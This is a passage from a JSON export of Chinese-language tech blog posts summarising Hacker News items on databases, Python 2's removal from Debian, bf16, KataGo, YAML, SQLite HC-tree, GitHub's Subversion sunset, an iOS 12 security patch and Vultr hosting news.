    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到這篇對 2022 年資料庫發展的回顧文章，可以補一些沒看到的新聞與發展：「<a href=\"https://ottertune.com/blog/2022-databases-retrospective/\">Databases in 2022: A Year in Review</a>」，作者 <a href=\"https://www.cs.cmu.edu/~./pavlo/\">Andy Pavlo</a> 是 <a href=\"https://ottertune.com/\">OtterTune</a> 的創辦人，有些他的想法會有些偏見，就當作一方之言來看就好。另外在 Hacker News 上的討論則是冒出一堆創辦人出來替自己公司的產品介紹一番：「<a href=\"https://news.ycombinator.com/item?id=34220524\">Databases in 2022: A Year in Review (ottertune.com)</a>」。\r\n\r\n首先是他提到的 <a href=\"https://clickhouse.com/\">ClickHouse</a>，我是 2022 年才開始關注，而且發現很不賴。查了一下維基百科，在 2021 年十月的時候搞了 round B $250m，估值 $2b：\r\n\r\n<blockquote>On October 28, 2021 the company received Series B funding totaling $250 million at an valuation of $2 billion from Coatue Management, Altimeter Capital, and other investors.</blockquote>\r\n\r\n另外是 <a href=\"https://en.wikipedia.org/wiki/Meta_Platforms\">Meta</a> 弄出來的 <a href=\"https://velox-lib.io/\">Velox</a>，直接看官網上面的圖可以看到，他試著把 Database、<a href=\"https://prestodb.io/\">Presto</a> 與 <a href=\"https://spark.apache.org/\">Spark</a> 的 engine/worker 層抽換掉：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/45kKrdb.webp\" /><img src=\"https://i.gslin.com/imgur/45kKrdb.jpg\" alt=\"\" /></picture>\r\n\r\n從 <a href=\"https://github.com/\">GitHub</a> 的頁面說明上也可以看出來，Velox 是提供很多已經最佳化過的界面 (包括了 Type、Vector、Expression Eval、Function Packages、Operators、I/O、Network Serializers 與 Resource Management) 讓 engine/worker 直接使用，避免了自己的實做沒有最佳化：\r\n\r\n<blockquote>Velox is a C++ database acceleration library which provides reusable, extensible, and high-performance data processing components.</blockquote>\r\n\r\n<blockquote>In common usage scenarios, Velox takes a fully optimized query plan as input and performs the described computation. Considering Velox does not provide a SQL parser, a dataframe layer, or a query optimizer, it is usually not meant to be used directly by end-users; rather, it is mostly used by developers integrating and optimizing their compute engines.</blockquote>\r\n\r\n其他的消息就看過去有個印象...",
    "title": "資料庫在 2022 年的發展"
  },
  {
    "id": "11013",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 <a href=\"https://www.debian.org/\">Debian</a> 移除 <a href=\"https://www.python.org/\">Python</a> 2 的消息：「<a href=\"https://news.ycombinator.com/item?id=34227760\">Python 2 removed from Debian (debian.org)</a>」，對應的 ticket 在這邊：「<a href=\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1027108\">#1027108 - RM: python2.7 -- RoQA; Obsolete - Debian Bug report logs</a>」。\r\n\r\nPython 2 從 2015 年喊 <a href=\"https://en.wikipedia.org/wiki/End-of-life_product\">EoL</a> 喊很久，終於在 2020/04/20 發行最後一版 <a href=\"https://www.python.org/downloads/release/python-2718/\">Python 2.7.18</a>。\r\n\r\n大多數的套件應該都有 Python 3 的支援了，有需要的人 (像是還是沒支援 Python 3 的 <a href=\"https://trac.edgewall.org/\">Trac</a>) 可以透過 <a href=\"https://github.com/pyenv/pyenv\">pyenv</a> 建立 Python 2 的環境出來跑，或是丟進 <a href=\"https://www.docker.com/\">Docker</a> 裡面跑。\r\n\r\n銀河的歷史又翻過了一頁...",
    "title": "Debian 移除 Python 2 套件"
  },
  {
    "id": "11014",
    "body": "在 <a href=\"https://github.com/karpathy/nanoGPT\">nanoGPT</a> 這個專案下面看到 <a href=\"https://en.wikipedia.org/wiki/Bfloat16_floating-point_format\">bf16</a> 這個浮點格式：(這段在新版的 <code>README.md</code> 被改寫了)\r\n\r\n<blockquote>Currently fp16 is much faster than bf16. Potentially revert back to using fp16 and re-introduce the gradient scaler?</blockquote>\r\n\r\n翻了一下 bf16，是由 <a href=\"https://www.google.com/\">Google</a> 的團隊所提出來的想法，主打是與 <a href=\"https://en.wikipedia.org/wiki/Single-precision_floating-point_format\">fp32</a> 相同的表示範圍，但是犧牲精度，這樣一來既有使用 fp32 的程式很有機會可以直接換成 bf16 降低計算量 &amp; 提昇效率 (也就是 drop-in replacement)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uqAoLk9.webp\" /><img src=\"https://i.gslin.com/imgur/uqAoLk9.png\" alt=\"\" /></picture>\r\n\r\n然後同一頁也看到各家自己推出不同的格式，這邊看起來比較像是市場競爭的關係...",
    "title": "fp32、fp16 與 bf16"
  },
  {
    "id": "11015",
    "body": "剛剛看到 <a href=\"https://github.com/lightvector/KataGo\">KataGo</a> 出了 1.12.0，同時也放出了在 2022 年十一月 <a href=\"http://entcog.c.ooco.jp/entcog/new_uec/en/\">UEC</a> 比賽時用的 model：「<a href=\"https://github.com/lightvector/KataGo/releases/tag/v1.12.0\">New Neural Net Architecture!</a>」。\r\n\r\n1.12.0 比較特別的新的類神經網路架構：\r\n\r\n<blockquote>This version of KataGo adds support for a new and improved neural net architecture!</blockquote>\r\n\r\n這個新的架構以及其他的改善讓訓練的速度改善：\r\n\r\n<blockquote>The new neural nets use a new nested residual bottleneck structure, along with other major improvements in training. They train faster than KataGo's old nets and learn more effectively.</blockquote>\r\n\r\n另外一個是他把 UEC 比賽時用的 model 放出來了，很特別的是採用 b18c384，而 <a href=\"https://katagotraining.org/\">KataGo Distributed Training</a> 這邊目前主要是 b40c256 與 b60c320，看起來是為了比賽而一次性訓練出來的。\r\n\r\n依照他的說法這個 b18c384 版本跟目前訓練網站上的 b60c320 有差不多強度，但計算速度會比 b60c320 快不少，甚至在一些機器上會跟 b40c256 差不多快：\r\n\r\n<blockquote>Attached to this release is a one-off net b18c384nbt-uec.bin.gz that was trained for a tournament in 2022, which should be of similar strength to the 60-block nets on http://katagotraining.org/, but on many machines will run much faster, on some machines between 40-block and 60-block speed, but on some machines even as fast as or faster than 40-block.</blockquote>\r\n\r\n另外一個大改變是他把訓練工具從 <a href=\"https://www.tensorflow.org/\">TensowFlow</a> 跳槽到 <a href=\"https://pytorch.org/\">PyTorch</a>：\r\n\r\n<blockquote>The training code has been all rewritten to use pytorch instead of tensorflow.</blockquote>\r\n\r\n在 release note 裡沒有提到原因，但這個頗讓人好奇的...",
    "title": "KataGo 1.12.0 與 UEC 杯用的 model：b18c384nbt-uec.bin.gz"
  },
  {
    "id": "11017",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=34299304\">The Art of LaTeX: Common mistakes and advice for typesetting proofs (fanpu.io)</a>」，原文在「<a href=\"https://fanpu.io/blog/2023/latex-tips/\">The Art of LaTeX: Common Mistakes, and Advice for Typesetting Beautiful, Delightful Proofs</a>」這，在講用 <a href=\"https://en.wikipedia.org/wiki/TeX\">TeX</a> 寫數學公式時常見的錯誤 (以及正確的寫法)。\r\n\r\n裡面給了蠻多還蠻實用的提醒，像是第一點提出來的這兩個差異：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JQLoC03.webp\" /><img src=\"https://i.gslin.com/imgur/JQLoC03.png\" alt=\"\" /></picture>\r\n\r\n以及：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QYSmlsG.webp\" /><img src=\"https://i.gslin.com/imgur/QYSmlsG.png\" alt=\"\" /></picture>\r\n\r\n上面是用最單純的 <code>{</code> 與 <code>(</code> 寫的，要達到下面比較正確的效果，不應該用 <code>\\bigl</code> 這種直接指定括弧大小的用法，而是用 <code>\\left(</code> 這種告訴 TeX 排版引擎這邊的意義，然後算出需要拿多大的括弧出來用。\r\n\r\n畢竟 TeX 是 <a href=\"https://en.wikipedia.org/wiki/Donald_Knuth\">Knuth</a> 老人家弄出來的東西，你會看到很多設計是需要給 TeX 排版引擎正確的定義或是資訊，剩下的他就會幫你處理...",
    "title": "用 TeX 寫數學公式時常見的錯誤與解法"
  },
  {
    "id": "11018",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到這篇：「<a href=\"https://news.ycombinator.com/item?id=34287615\">Undo codes for Japanese elevator floor buttons (soranews24.com)</a>」，原文是 2017 的文章，在講日本電梯取消樓層的方式：「<a href=\"https://soranews24.com/2017/08/18/the-secret-undo-codes-for-japanese-elevator-floor-buttons/\">The secret undo codes for Japanese elevator floor buttons</a>」。\r\n\r\n裡面提到的是這則推：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"ja\" dir=\"ltr\">ずっと知りたかった情報が実家のトイレに貼ってあった <a href=\"https://t.co/FigYNFkKJt\">pic.twitter.com/FigYNFkKJt</a></p>&mdash; わいちゃん?? (@rsmaru) <a href=\"https://twitter.com/rsmaru/status/896579088596426754?ref_src=twsrc%5Etfw\">August 13, 2017</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n常見的大概就這幾三方法取消：\r\n\r\n<ul>\r\n\t<li>長按按錯的樓層。</li>\r\n\t<li>連按兩次按錯的樓層。</li>\r\n\t<li>連按五次按錯的樓層。(富士)</li>\r\n</ul>\r\n\r\n台灣因為蠻多電梯也是同樣牌子的，也都可以這樣取消...",
    "title": "電梯裡取消樓層的作法"
  },
  {
    "id": "11022",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://ruudvanasseldonk.com/2023/01/11/the-yaml-document-from-hell\">The yaml document from hell</a>」這篇在抱怨 <a href=\"https://en.wikipedia.org/wiki/YAML\">YAML</a> 的問題，而 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上對應的討論在「<a href=\"https://news.ycombinator.com/item?id=34351503\">The Yaml document from hell (ruudvanasseldonk.com)</a>」這邊。\r\n\r\n翻了一下我之前也有提到好幾次不同來源的抱怨：「<a href=\"https://blog.gslin.org/archives/2014/09/17/5087/yaml-%e7%9a%84%e5%9c%b0%e9%9b%b7/\">YAML 的地雷</a> (2014)」、「<a href=\"https://blog.gslin.org/archives/2019/03/23/8856/yaml-%e7%9a%84%e7%97%9b%e9%bb%9e/\">YAML 的痛點</a> (2019)」、「<a href=\"https://blog.gslin.org/archives/2021/04/03/10105/yaml-%e7%9a%84%e5%95%8f%e9%a1%8c-%e6%8c%aa%e5%a8%81%e5%95%8f%e9%a1%8c/\">YAML 的問題 (挪威問題)</a> (2021)」。\r\n\r\n這篇提到的東西還是類似之前提到的，但整理的蠻不錯的？他給了一個看起來蠻正常的 YAML，然後裡面全部都是地雷，你可以看他的說明知道是什麼問題。\r\n\r\n不過他提出來的問題都是可以加上 <a href=\"https://en.wikipedia.org/wiki/Double_quote\">double quote</a> 來避開，但把這個方式當作 common practice 用 YAML 會變得很痛苦。\r\n\r\n不過市場上還沒有能取代的東西，只能先繼續邊用邊罵了，看了一下 Hacker News 上的留言，簡單一點的東西 (只是要放幾個值的) 大家都覺得 <a href=\"https://en.wikipedia.org/wiki/INI_file\">INI</a> 還可以拿來用用...",
    "title": "YAML 常見的問題"
  },
  {
    "id": "11023",
    "body": "一時間沒找到在哪邊看到的，但的確是漏掉這個消息，早上看到去翻才注意到的... <a href=\"https://www.vultr.com/\">Vultr</a> 在去年 11 月底宣佈更新流量的計算方式：「<a href=\"https://www.vultr.com/news/Vultr-Announces-Reduced-Bandwidth-Pricing-2-Tb-Of-Free-Monthly-Egress-Free-Ingress-And-Global-Pooling/\">Vultr Announces Reduced Bandwidth Pricing, 2 TB of Free Monthly Egress, Free Ingress, and Global Pooling</a>」。\r\n\r\n這波費用的更新算是跟上另外兩家 (<a href=\"https://www.linode.com/\">Linode</a> 與 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a>) 的算法了，先前 Vultr 的算法就很古老 XD\r\n\r\n第一個是 inbound traffic 不算錢了 (總算)：\r\n\r\n<blockquote>Data ingress will now be free.</blockquote>\r\n\r\n再來是 traffic pool 的概念，現在每個帳號的流量會統一計算，而非每台機器自己計算：\r\n\r\n<blockquote>All customers will receive global account-level pooling of transfer across all instances and locations.</blockquote>\r\n\r\n然後是每個帳號都提供 2TB 的 free outbound traffic，這點有點放送的感覺：\r\n\r\n<blockquote>Every Vultr customer will now receive two terabytes (2 TB) of free outbound data transfer every month, in addition to the transfer included with each subscription.</blockquote>\r\n\r\n最後是超量的部份收費也簡化了，不管什麼地區都是 $0.01/GB：\r\n\r\n<blockquote>Vultr will now offer a reduced, single worldwide egress overage rate of only $0.01 per GB.</blockquote>\r\n\r\n最後這點有個值得操作的點：依照他的收費標準，超量 1TB 的流量需要付 $10 的費用，但你可以多租一台 $5/mo 的機器，這個方式提供了 1TB 的流量到 traffic pool 裡面。",
    "title": "Vultr 更新流量計算方式"
  },
  {
    "id": "11024",
    "body": "在「<a href=\"https://ishadeed.com/article/conditional-css/\">Conditional CSS</a>」這篇裡面在講很多 <a href=\"https://en.wikipedia.org/wiki/CSS\">CSS</a> 條件過濾的方式，裡面看到有 <code>@support</code> 這個規格，可以透過 feature detection 的方式來過濾：「<a href=\"https://caniuse.com/mdn-css_at-rules_supports_selector\">CSS at-rule: @supports: selector()</a>」。\r\n\r\n文章作者給的範例是這樣：\r\n\r\n<pre>@supports selector(:has(p)) {\r\n  .card-thumb {\r\n    aspect-ratio: 1;\r\n  }\r\n}</pre>\r\n\r\n在瀏覽器支援 <code>:has(p)</code> 的情況下才指定裡面的 CSS。\r\n\r\n翻了一下 <code>@support</code> 在各家瀏覽器上實做的情況：在 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 上是 69 開始支援，推出的日期是 2019/09/03。在 <a href=\"https://www.google.com/chrome/\">Chrome</a> 上是 83 開始支援，推出的日期是 2020/05/19。在 <a href=\"https://www.apple.com/safari/\">Safari</a> 上是 14.1 開始支援 (對應到 <a href=\"https://www.apple.com/ios/\">iOS</a> 版本是 14.5)，推出的日期是 2021/04/26。\r\n\r\n從日期可以看出來算是比較新的功能，但主要幾個大的瀏覽器都支援了。\r\n\r\n這個讓我想起來早期利用各家瀏覽器的 bug 產生出的各種 hack：「<a href=\"https://css-tricks.com/snippets/css/browser-specific-hacks/\">Browser Specific Hacks</a>」。",
    "title": "CSS 的 feature detection：@support"
  },
  {
    "id": "11028",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的，作者送了一個提案到 <a href=\"https://www.gnu.org/software/make/\">GNU Make</a>，後來被採用，在 4.4 版引入了 <code>--shuffle</code> 指令：「<a href=\"https://trofi.github.io/posts/238-new-make-shuffle-mode.html\">New make --shuffle mode</a>」。\r\n\r\n這個功能主要是想要找出在 <code>Makefile</code> 裡面沒有被定義好，平常是因為 side effect 而沒有出錯的地方。\r\n\r\n像是作者就發現 <code>libgfortran</code> 沒有把 <code>libquadmath</code> 放到 dependency 的問題：\r\n\r\n<blockquote>For example <code>gcc</code>’s <code>libgfortran</code> is missing a <code>libquadmath</code> build dependency. It is natural not to encounter it in real world as <code>libquadmath</code> is usually built along with other small runtimes way before <code>g++</code> or <code>gfortran</code> is ready.</blockquote>\r\n\r\n他的基本想法是把 target 的順序打亂掉，也就是在有指定 <code>--shuffle</code> 時，不一定會照 <code>a</code> -&gt; <code>b</code> -&gt; <code>c</code> 的順序往下遞迴，而可能會是 <code>c</code> -&gt; <code>b</code> -&gt; <code>a</code> 或是其他的順序：\r\n\r\n<pre>all: a b c</pre>\r\n\r\n這樣對於抓那些在 <code>-j</code> 平行編譯時會出包的套件也很有幫助，不需要在 <code>-j</code> 開很大的情況下才能重製問題，而是平常就有機會在 <a href=\"https://en.wikipedia.org/wiki/Continuous_integration\">CI</a> 環境下被抓出來。",
    "title": "GNU Make 在 4.4 引入的 --shuffle"
  },
  {
    "id": "11029",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=34354213\">Grayscale on 1-bit LCDs (2022) (zephray.me)</a>」這篇，原文在「<a href=\"https://www.zephray.me/post/grayscale_lcd/\">Grayscale on 1-bit LCDs</a>」這篇，講在單色的 LCD (黑白的 LCD) 上利用 <a href=\"https://en.wikipedia.org/wiki/Pulse-width_modulation\">PWM</a> 的方式來模擬出灰階的效果。\r\n\r\n文章蠻有趣的，可以看到他一直在 tune，想辦法做出更多階的灰階效果：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/398VGEb.webp\" /><img src=\"https://i.gslin.com/imgur/398VGEb.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pJoYiLD.webp\" /><img src=\"https://i.gslin.com/imgur/pJoYiLD.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9VKCyCC.webp\" /><img src=\"https://i.gslin.com/imgur/9VKCyCC.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/a65a3bP.webp\" /><img src=\"https://i.gslin.com/imgur/a65a3bP.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vuMF9zH.webp\" /><img src=\"https://i.gslin.com/imgur/vuMF9zH.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6J9bwHd.webp\" /><img src=\"https://i.gslin.com/imgur/6J9bwHd.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/evzJe3Q.webp\" /><img src=\"https://i.gslin.com/imgur/evzJe3Q.jpg\" alt=\"\" /></picture>\r\n\r\n不過其實更有趣的事情是在 Hacker News 的留言裡面，有人起手式就放大招：\r\n\r\n<blockquote>My father Bryce Bayer studied this question fifty years ago at Eastman Kodak; his approach is known as ordered dithering:\r\n\r\nhttps://en.wikipedia.org/wiki/Ordered_dithering\r\n\r\nOne is effectively posterizing a grayscale image, and his primary goal was to reduce artifacts drawing unwanted attention to the borders between poster levels.\r\n\r\nWith improvements in hardware other approaches to dithering took over. The last time I saw my father's pattern was on a DEC box logo. He moved to the color group at Kodak, and designed the \"Bayer filter\" used in digital cameras.</blockquote>\r\n\r\n不只是提到大名鼎鼎的 <a href=\"https://en.wikipedia.org/wiki/Bryce_Bayer\">Bryce Bayer</a>，開頭直接就 \"My father Bryce Bayer ...\"。\r\n\r\n搜了一下 syzygies 這個用戶名稱，看起來像是 Bryce Bayer 的兒子 <a href=\"https://www.math.columbia.edu/~bayer/\">Dave Bayer</a> (維基百科也有條目：<a href=\"https://en.wikipedia.org/wiki/Dave_Bayer\">Dave Bayer</a>)。",
    "title": "在單色 LCD 上面利用 PWM 產生灰階的效果"
  },
  {
    "id": "11030",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的新計畫：「<a href=\"https://news.ycombinator.com/item?id=34434025\">HC-tree is an experimental high-concurrency database back end for SQLite (sqlite.org)</a>」，<a href=\"https://www.sqlite.org/\">SQLite</a> 弄了一個實驗性質的 backend，叫做 <a href=\"https://sqlite.org/hctree/\">HC-tree</a>：\r\n\r\n<blockquote>The HC-tree (hctree) project is an attempt to develop a new database backend that improves upon regular SQLite as follows:</blockquote>\r\n\r\n他列了幾個重點，其中「Improved concurrency」這點題到了可以讓多個 writer 同時寫入運作，這點算是 SQLite 很大的改變，目前希望可以做到在 single-threaded 情況下不輸現有的 SQLite：\r\n\r\n<blockquote>An implicit goal is that hctree must be as fast or faster than stock SQLite for all single-threaded cases. There is no point in running dozens of concurrent writers if each of them is an order of magnitude slower than a single writer writing to a legacy database.</blockquote>\r\n\r\n另外一方面，這算是 SQLite 真正要面對資料庫的 <a href=\"https://en.wikipedia.org/wiki/Isolation_%28database_systems%29\">isolation</a> 的問題了，比起現在的版本，同時間從只有一個 writer 的架構要變成支援多個 writer 的架構，所以在「Concurrency Model」這邊也帶了一下他預期可以做到的事情。\r\n\r\n然後這邊可以看到在解釋裡面有提到 table 與 index 還是 <a href=\"https://en.wikipedia.org/wiki/B-tree\">b-tree</a>，這樣應該可以猜測 hctree 的實做方式應該還是在市場上已經很成熟的 <a href=\"https://en.wikipedia.org/wiki/Multiversion_concurrency_control\">MVCC</a> 那套方法：\r\n\r\n<blockquote>If no other client has modified any b-tree (table or index) entry or range that the transaction being committed accessed by a range or stabbing query, then the transaction is valid.</blockquote>\r\n\r\n另外一個蠻大的改變是「Support for replication」，現有的 SQLite 可以透過 extension 的方式加掛支援 replication 功能，現在則是讓底層的 backend 直接支援。\r\n\r\n底層支援新的 backend 以後看起來會有不少變化可以玩，第一個想到的當然是變成 server 類型的服務，也就是像 <a href=\"https://dev.mysql.com/\">MySQL</a> 或是 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 這樣的方式，另外一種方向是包裝成 distributed database，讓應用程式可以簡單跨機器使用。\r\n\r\n目前還不知道會往什麼方向走就是了，也有可能 SQLite 這邊只實做 backend，上面讓大家發揮...",
    "title": "SQLite 的 HC-tree 計畫"
  },
  {
    "id": "11034",
    "body": "<a href=\"https://github.com/\">GitHub</a> 從 2010 年的愚人節時宣佈支援 <a href=\"https://en.wikipedia.org/wiki/Apache_Subversion\">Subversion</a>：「<a href=\"https://github.blog/2010-04-01-announcing-svn-support/\">Announcing SVN Support</a>」，雖然是愚人節的功能，但這個功能是會動的。\r\n\r\n而這個功能出現十多年後，可以預期用的人愈來愈少。前幾天 GitHub 宣佈將在大約一年後的 2024/01/08 停止支援 Subversion：「<a href=\"https://github.blog/2023-01-20-sunsetting-subversion-support/\">Sunsetting Subversion support</a>」。\r\n\r\n然後在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=34457130\">GitHub Sunsetting Subversion Support (github.blog)</a>」則是直接讓 <a href=\"https://github.com/schacon\">Scott Chacon</a> (GitHub co-founder，同時也是第一篇公告文的作者 + 這個功能的兇手之一) 出來解釋當初搞出這個東西的前因與後果，還有一些感想。\r\n\r\n裡面有提到這個功能當初推出來的時候是個好玩的性質，但意外的在上線後發現也讓一些老系統可以比較容易轉移：也就是讓 developer 可以先開始用 <a href=\"https://en.wikipedia.org/wiki/Git\">Git</a>，但 <a href=\"https://en.wikipedia.org/wiki/Continuous_integration\">CI</a> 類的工具可以先不用改。\r\n\r\n<blockquote>As one of the GitHub cofounders and the brainchild of this particular feature, I want to let everyone know that this is maybe the funniest thing I've ever done.\r\n\r\nWe released this feature and published the announcing blog post, on April Fool's Day, 2010. I remember demoing it to the other GitHub guys and saying how funny it would be if we made this an April Fool's day post as though it was a big stupid joke but then it actually completely worked on every repository we had and we all thought it would be great. Until nobody believed us. Which in hindsight we should have seen coming, since that was the joke, but nobody actually tried it. Then people tried it and it worked and they thought it was a trick or something.\r\n\r\nIt was really helpful for people migrating from legacy SVN based systems to us (CI and stuff) but I'm surprised to some degree that it's still running 13 years later when nobody is really facing that issue anymore. And I'm still undecided if the joke was worth the massive confusion it caused. But if I'm pressed, I would say that I would 100% release it on April Fool's Day again.</blockquote>\r\n\r\n不過想要拔掉這個功能的起因不知道是什麼，技術債不知道有多少...",
    "title": "GitHub 宣佈將在 2024 移除對 Subversion 支援"
  },
  {
    "id": "11039",
    "body": "<a href=\"https://www.apple.com/\">Apple</a> 又針對 <a href=\"https://en.wikipedia.org/wiki/IOS_12\">iOS 12</a> 釋出安全性更新了：「<a href=\"https://support.apple.com/en-us/HT213597\">About the security content of iOS 12.5.7</a>」。\r\n\r\n<blockquote>Available for: iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation)\r\n\r\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited against versions of iOS released before iOS 15.1.\r\n\r\nDescription: A type confusion issue was addressed with improved state handling.</blockquote>\r\n\r\n這次的更新是 backport 去年十二月在 <a href=\"https://en.wikipedia.org/wiki/Safari_(web_browser)\">Safari</a> 16.2 上修正的 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42856\">CVE-2022-42856</a>：\r\n\r\n<blockquote>A type confusion issue was addressed with improved state handling. This issue is fixed in Safari 16.2, tvOS 16.2, macOS Ventura 13.1, iOS 15.7.2 and iPadOS 15.7.2, iOS 16.1.2. Processing maliciously crafted web content may lead to arbitrary code execution.</blockquote>\r\n\r\n所以這包跟上次一樣 (參考先前寫的 「<a href=\"https://blog.gslin.org/archives/2022/09/18/10882/ios-12-5-6/\">iOS 12.5.6</a>」這篇)，也是在修正 <a href=\"https://en.wikipedia.org/wiki/Remote_code_execution\">RCE</a> 類的漏洞，這樣對於 <a href=\"https://en.wikipedia.org/wiki/IPhone_5S\">iPhone 5S</a> 等於是進入第九年的支援了。\r\n\r\n之前在網路上有看到有人在猜是因為海外有很多異議人士拿這隻手機，所以美國政府「希望」Apple 能夠針對一些高危險性的安全漏洞提供更新？",
    "title": "iPhone 5S 又拿到安全性更新了：iOS 12.5.7 (2023/01/23)"
  },
  {
    "id": "11041",
    "body": "<a href=\"https://www.vultr.com/\">Vultr</a> 宣布開大阪機房：「<a href=\"https://www.vultr.com/news/New-Cloud-Data-Center-Location-Osaka-Japan\">New Cloud Data Center Location: Osaka, Japan</a>」。\r\n\r\n本來的東京機房從 <a href=\"https://www.hinet.net/\">HiNet</a> 過去會塞，可以看到每天都會有一段時間 latency 會飄起來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BQIAi7g.webp\" /><img src=\"https://i.gslin.com/imgur/BQIAi7g.png\" alt=\"\" /></picture>\r\n\r\n從 HiNet 過去 Vultr 東京機房是走 <a href=\"https://en.wikipedia.org/wiki/PCCW\">PCCW</a> 的線路：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TY0A4eY.webp\" /><img src=\"https://i.gslin.com/imgur/TY0A4eY.png\" alt=\"\" /></picture>\r\n\r\n從 Vultr 東京機房回來是走 <a href=\"https://en.wikipedia.org/wiki/NTT_Docomo\">NTT</a> 的線路：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KD15vn9.webp\" /><img src=\"https://i.gslin.com/imgur/KD15vn9.png\" alt=\"\" /></picture>\r\n\r\n如果是 Vultr 大阪機房的話，先用 <a href=\"https://en.wikipedia.org/wiki/MTR_(software)\">mtr</a> 看了一下 latency，狀況似乎是好很多？好像可以考慮把東京的機器搬到大阪看看...",
    "title": "Vultr 開大阪機房"
  },
  {
    "id": "11043",
    "body": "前幾天的 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的消息：「<a href=\"https://www.galaxus.ch/en/page/refreshingly-honest-digitec-galaxus-now-displays-warranty-score-and-return-rate-25950\">Refreshingly honest – Digitec Galaxus now displays warranty score and return rate</a>」，瑞士最大的線上購物平台 <a href=\"https://en.wikipedia.org/wiki/Digitec_Galaxus\">Digitec Galaxus</a> 決定公開維修相關的資訊，討論在「<a href=\"https://news.ycombinator.com/item?id=34536344\">Digitec Galaxus now displays warranty score and return rate (galaxus.ch)</a>」這邊可以看到。\r\n\r\n從文章裡面可以看到說明的圖片，主要是公開了一些數字，第一個是 return rate (退貨率)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/r5z1F2f.webp\" /><img src=\"https://i.gslin.com/imgur/r5z1F2f.jpg\" alt=\"\" /></picture>\r\n\r\n再來是故障的資訊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/z7rnSNE.webp\" /><img src=\"https://i.gslin.com/imgur/z7rnSNE.jpg\" alt=\"\" /></picture>\r\n\r\n然後是維修時間：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jxNcGyE.webp\" /><img src=\"https://i.gslin.com/imgur/jxNcGyE.jpg\" alt=\"\" /></picture>\r\n\r\n這邊隨便抓了「<a href=\"https://www.galaxus.ch/en/s1/product/asus-rog-strix-geforce-rtx-4070-ti-oc-edition-12-gb-graphics-card-23599641\">ASUS ROG Strix GeForce RTX 4070 Ti OC Edition</a>」這個看，可以看到這三個資訊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/buuk4Zz.webp\" /><img src=\"https://i.gslin.com/imgur/buuk4Zz.png\" alt=\"\" /></picture>\r\n\r\n另外在 Hacker News 討論裡面看到一些有趣的資訊，像是歐盟強制降價需要提供至少三十天價錢的歷史記錄 (但要注意瑞士不是歐盟成員國)：\r\n\r\n<blockquote>This is now a law enforced in European Union to display such history (at least the lowest price in last 30 or more days so customer knows if the price was not fake rised just before lowering it and calling it a sale). WooCommerce has a plugin for that now.</blockquote>\r\n\r\n搜尋後可以找到應該是出自「<a href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A52021XC1229%2806%29\">EUR-Lex - 52021XC1229(06) - EN - EUR-Lex</a>」這邊的 Article 6a：\r\n\r\n<blockquote>1. Any announcement of a price reduction shall indicate the prior price applied by the trader for a determined period of time prior to the application of the price reduction.\r\n\r\n2. The prior price means the lowest price applied by the trader during a period of time not shorter than 30 days prior to the application of the price reduction.\r\n\r\n3. Member States may provide for different rules for goods which are liable to deteriorate or expire rapidly.\r\n\r\n4. Where the product has been on the market for less than 30 days, Member States may also provide for a shorter period of time than the period specified in paragraph 2.\r\n\r\n5. Member States may provide that, when the price reduction is progressively increased, the prior price is the price without the price reduction before the first application of the price reduction;</blockquote>\r\n\r\n台灣的話因為沒有法令強制，目前需要透過第三方服務去追，像是 <a 